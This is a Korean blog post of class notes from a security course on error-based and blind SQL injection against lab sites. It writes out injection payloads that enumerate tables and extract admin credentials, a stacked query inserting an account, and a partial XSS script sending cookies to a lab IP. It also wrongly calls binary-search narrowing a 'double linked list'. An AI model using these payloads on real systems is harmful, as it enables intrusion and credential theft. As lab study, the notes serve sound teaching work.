본문 바로가기

학원

2023/08/03 Blind Injection



마지막에 실습으로 내주신거 해보는 것




첫번째로 계정을 확인하는 것

로그인 버튼을 누르고 아이디에 SQL인젝션을 진행한다.

' or db_name()>1--로 작성해서 시도하면 camel이라고 데이터베이스 이름이 나오는걸 확인할 수 있음

다음은 테이블을 조회하려고 한다.

'or (select top 1 table_name from information_schema.tables)>1--
이것으로 시도해준다. 그러면 첫번째 테이블이 besong이라고 나온다.
이것이 몇개가 있을지 모르기 때문에 뒤쪽에 orderby를 넣어준다.

' or (select top 1 table_name from information_schema.tables where table_name>'besong' order by table_name)>1--
을 해서 다음 테이블을 찾아줌 board_free가 나온다.
이런식으로 찾다보면 계정이 저장되어있을만한 테이블이 나오게 되는데, member라는 테이블일것이다. 여기서 컬럼을 찾게된다면.

'or (select top 1 column_name from information_schema.columns where tabel_name='member')>1--
이런식으로 작성해서 컬럼을 확인할 수 있다. id와 pw에 해당하는 아이디를 찾을 것이다.

'or (select top 1 mem_id from member)>0--
'or (select top 1 mem_pw from member)>0--
를 해서 아이디와 패스워드를 master와 dkaghek로 확인할 수 있다.
여기까지가 1번실습이다.


master';insert into member(mem_id, mem_pwd) values('MJH', 'mjh')--
하고 치면 일치하지않는다고 뜨는데 쿼리에서 확인해보면 만들어져있다
제대로된 확인을 하려면 로그인을 해보면 될것이다.
저기 master부분에는 본인의 아이디명이 들어가야한다. 이러면 MJH 아이디와 mjh라는 비밀번호를 가진 아이디가 생성이된다.
여기까지가 2번실습이다.

쉘스크립트를
<img name=i width=0
height=0><script>i.src="http://192.168.1.20 /getcookie.

실습 3번은 예전에 XSS하면서 진행했던 getcookie 파일에 대부분이 있기 때문에 사이트에서 글을 쓸 때 스크립트를 작성만 해주면 된다. 저기 들어가는 IP는 쿠키값을 받을 컴퓨터의 IP주소를 입력하면 된다.

 





오늘 수업

192.168.1.20에서 뒤에 url에다가 and 1=1을 붙여줌 쿼리에 가서 

디버깅을 해주면 지정한 구문이 나오게 된다.
그렇게 되면 에러로 원하는걸 찾아보는건 불가능해진다.

참의 조건을 하게되면 결과가 나오고 거짓을 하게되면 거짓이 나오게된다,.
이것을 이용해서 결과를 확인한다 이
select substring(abod',2, 1)
select substring(db_name(), 1, 1)을 하게 된다면 w가 나오게 된다.
select * from board where strNumber=92  (여기 뒤에 92는 게시글에 따라 다름)
and substring(db_name(), 1, 1)='w'
이런식으로 하나씩 넣어서 찾아보는게 블라인드 SQL이다.

이런식으로 어떻게 하나하나 넣어서 찾냐라고 해보면 중간지점을 확인해서 그거보다 크냐 작냐 식으로 비교식으로 구문을 짜게되면 점점 줄여가게 된다.
이렇게 줄여서 가능 방식을 더블 링크 리스트(Dobble Linked List)이다.


이런식으로 한글자 한글자 해보고 db이름을 찾았다고 하면

select * from board where strNumber=92
and substring((select top 1 name from sysobjects where xtype='u'), 1, 1)='z'
이런식으로 게시글에다가 써주면 참이냐 거짓이냐에 따라서 한글자한글자 알아낼 수 있다.
실제 페이지에서 z를 넣었을 때 참이 나오고 w를 넣으면 페이지가 안나오는걸 확인할 수 있음



[ 실습 1 ] aircon 사이트의 관리자 정보를찾으세요.

[ 실습 2 ] DB Version과 Database 이름을 찾으세요.
- version(), database()
ex) Version: x.x.xx
     database: axx..



관리자를 위한 페이지를 구성해놨다. admin으로 들어가면 된다.
여기서 SQL 인젝션을 사용할 수 있을꺼 같다.

여기서 아이디에 1'을 하고 비밀번호를 대충 입력해보면 
컬럼 아이디는 A_id였고 비밀번호는 A_pass이다.


고객센터에서 인젝션을 시도해보겠다 써져있는 글 하나의 url을 보면
http://192.168.43.200/aircon/customer/customer.php?sub_page=&show=view&board=qna&id=8&offset=0&select=&contents=&category=&pg=
이런식으로 굉장히 검색어가 많아보인다.
select * from board where id=8 이런느낌으로 되어있을 것
블라인드 SQL을 사용한다면
id=8' and substring((select A_id from admin),1,1)='t
를 하게 되면 파악할 수 있겠다.
그렇게 하나씩 파악한다면 testaircon으로 알 수 있을 것이다.

여기서 더 나아가자면 id의 길이를 알고있다면 더 수월하게 알 수 있을것이다.
여기에 length라는 함수를 이용한다.
testaircon은 총 10글자기 때문에
length((select A_id from admin))='10으로 확인할 수 있다.
참이라면 페이지가 나올것이고 거짓이라면 페이지가 안나올 것이다.
10말고 9를 입력한다면 페이지가 나오지않는다.

1번이랑 비슷한 개념으로 이해한다면 2번도 어렵지않게 풀 수 있다.







'학원' 카테고리의 다른 글

2023/08/07 T-SQL  (0) 2023.08.07
2023/08/04 프로시저  (0) 2023.08.04
2023/08/01 convert  (0) 2023.08.01
2023/07/31 DML  (0) 2023.07.31
2023/07/28 메타데이터  (0) 2023.07.28